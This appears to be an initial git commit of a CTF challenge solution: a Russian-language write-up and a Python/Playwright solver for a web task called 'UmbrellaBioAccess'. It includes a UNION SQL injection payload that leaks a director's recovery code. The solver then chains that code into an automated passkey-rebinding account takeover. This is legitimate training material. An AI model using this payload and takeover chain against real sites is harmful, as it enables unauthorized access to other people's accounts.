Init. commit

This commit is contained in:
Caplag
2026-04-22 10:42:16 +03:00
commit 98e51ca58b
35 changed files with 2371 additions and 0 deletions

View File

@@ -0,0 +1,50 @@
<h1 align="center">UmbrellaBioAccess</h1>
<p align="center">
<img src="https://img.shields.io/badge/category-Web-blueviolet" alt="Web"/>
<img src="https://img.shields.io/badge/points-979-critical" alt="979 pts"/>
</p>
Переходим по ссылке и видим перед нами три раздела: `Field Directory`, `Emergency Recovery` и `Partner Access`. Логично предположить, что решение будет состоять из нескольких шагов. Для этого необходим будет эксплуатировать две уязвимости: SQL injection в legacy-поиске и кривой recovery-flow, который позволяет привязать новый passkey к чужому аккаунту, зная только `recovery_code`. Благодаря этому получаем сессию директора и доступ к `BioCore Vault`.
```mermaid
flowchart LR
D(["/directory<br/><i>SQLi UNION</i>"])
R(["/recovery<br/><i>bind own passkey</i>"])
A(["/access<br/><i>passkey login</i>"])
V(["/vault<br/><b>→ flag</b>"])
D -->|recovery_code| R -->|own passkey linked| A -->|director session| V
classDef step fill:#e0e7ff,stroke:#6366f1,color:#312e81
classDef win fill:#fee2e2,stroke:#dc2626,color:#7f1d1d
class D,R,A step
class V win
```
## Решение
Начинаем с `/directory`. Поиск по legacy-справочнику, и прямо там висит подпись `Quote-aware matching enabled.`. Проверяем одинарной кавычкой — параметр поиска улетает внутрь выражения вида `ILIKE '%...%'`, можно попоробовать использовать SQLi. Простая булева инъекция (`OR true`) подтверждает наличие дыры, но к нужным скрытым полям доступа не даст. Идём через `UNION SELECT` и подменяем `displayName` значением `recovery_code`:
```sql
') UNION ALL SELECT codename,recovery_code,division,dossier
FROM directory_public_view WHERE role='director' --
```
В ответе появляется запись директора:
| Поле | Содержимое |
|---|---|
| `codename` | кодовое имя директора |
| `displayName` | 24-символьный hex `recovery_code` |
Идём в `/recovery`.
> Здесь не прямо классический [WebAuthn](https://www.w3.org/TR/webauthn-2/), атаку необходимо провести на бизнес-логику восстановления.
Знание `recovery_code` считается достаточным основанием, чтобы привязать новый passkey к существующему аккаунту. Вводим извлечённый recovery-код, завершаем регистрацию своего passkey, и он оказывается связан с директорским профилем.
Ну все, мы фактически на финише. На `/access` вводим директорский `codename`, логинимся обычным passkey-флоу уже своим ключом — получаем сессию с ролью `director`. Открываем `/vault` (или напрямую дёргаем `GET /api/vault/biocore`) — сервер отдаёт флаг.
## Флаг
`caplag{read_only_sqli_rebinds_director_passkeys}`

View File

@@ -0,0 +1,3 @@
playwright>=1.52,<2
requests>=2.32,<3

View File

@@ -0,0 +1,147 @@
import argparse
import re
import sys
from dataclasses import dataclass
from urllib.parse import urljoin
import requests
import urllib3
from playwright.sync_api import BrowserContext, Page, sync_playwright
DIRECTOR_QUERY = (
"') UNION ALL SELECT codename,recovery_code,division,dossier "
"FROM directory_public_view WHERE role='director' -- "
)
RECOVERY_CODE_RE = re.compile(r"^[0-9a-f]{24}$")
@dataclass
class DirectorProfile:
codename: str
recovery_code: str
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(description="Exploit Umbrella BioAccess and print the flag.")
parser.add_argument("--base-url", required=True, help="Base URL of the challenge, e.g. https://bioaccess.ctf")
parser.add_argument(
"--insecure",
action="store_true",
help="Disable TLS verification for self-signed challenge certificates",
)
parser.add_argument(
"--headful",
action="store_true",
help="Run Chromium in headful mode for debugging",
)
return parser.parse_args()
def api_url(base_url: str, path: str) -> str:
return urljoin(base_url.rstrip("/") + "/", path.lstrip("/"))
def discover_director(base_url: str, insecure: bool) -> DirectorProfile:
session = requests.Session()
session.verify = not insecure
if insecure:
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
response = session.post(
api_url(base_url, "/api/directory/search"),
json={"query": DIRECTOR_QUERY},
timeout=20,
)
response.raise_for_status()
payload = response.json()
items = payload.get("items", [])
for item in items:
codename = str(item.get("codename", ""))
display_name = str(item.get("displayName", ""))
if RECOVERY_CODE_RE.fullmatch(display_name):
return DirectorProfile(codename=codename, recovery_code=display_name)
raise RuntimeError("Director recovery vector not found in SQLi response")
def enable_virtual_authenticator(context: BrowserContext, page: Page) -> None:
cdp = context.new_cdp_session(page)
cdp.send("WebAuthn.enable")
cdp.send(
"WebAuthn.addVirtualAuthenticator",
{
"options": {
"protocol": "ctap2",
"transport": "internal",
"hasResidentKey": True,
"hasUserVerification": True,
"isUserVerified": True,
"automaticPresenceSimulation": True,
}
},
)
def solve_with_browser(base_url: str, profile: DirectorProfile, insecure: bool, headful: bool) -> str:
with sync_playwright() as playwright:
browser = playwright.chromium.launch(headless=not headful)
context = browser.new_context(ignore_https_errors=insecure)
page = context.new_page()
enable_virtual_authenticator(context, page)
page.goto(api_url(base_url, "/recovery"), wait_until="networkidle")
page.get_by_test_id("recovery-code").fill(profile.recovery_code)
page.get_by_test_id("recovery-submit").click()
page.wait_for_url(re.compile(r".*/access$"), timeout=20_000)
page.get_by_test_id("login-codename").fill(profile.codename)
page.get_by_test_id("login-submit").click()
page.wait_for_url(re.compile(r".*/vault$"), timeout=20_000)
page.get_by_test_id("vault-fetch").click()
page.wait_for_function(
"""
() => {
const node = document.querySelector('[data-testid="vault-flag"]');
return node && node.textContent && node.textContent.trim() !== '\u041c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b \u043d\u0435 \u0432\u044b\u0434\u0430\u043d\u044b.';
}
""",
timeout=20_000,
)
flag = page.get_by_test_id("vault-flag").text_content().strip()
browser.close()
if not flag or flag == "Материалы не выданы." or flag == "МАТЕРИАЛЫ НЕ ВЫДАНЫ.":
raise RuntimeError("Vault returned no payload")
if not flag.lower().startswith("caplag{"):
raise RuntimeError(f"Unexpected flag format: {flag}")
return flag.lower()
def main() -> int:
args = parse_args()
try:
profile = discover_director(args.base_url, args.insecure)
print(f"[+] director codename: {profile.codename}")
print(f"[+] recovery code: {profile.recovery_code}")
flag = solve_with_browser(args.base_url, profile, args.insecure, args.headful)
print(f"[+] flag: {flag}")
return 0
except Exception as exc:
message = str(exc)
if "Executable doesn't exist" in message or "playwright install" in message.lower():
message = f"{message}\n[hint] install a browser with: python -m playwright install chromium"
print(f"[-] solve failed: {message}", file=sys.stderr)
return 1
if __name__ == "__main__":
raise SystemExit(main())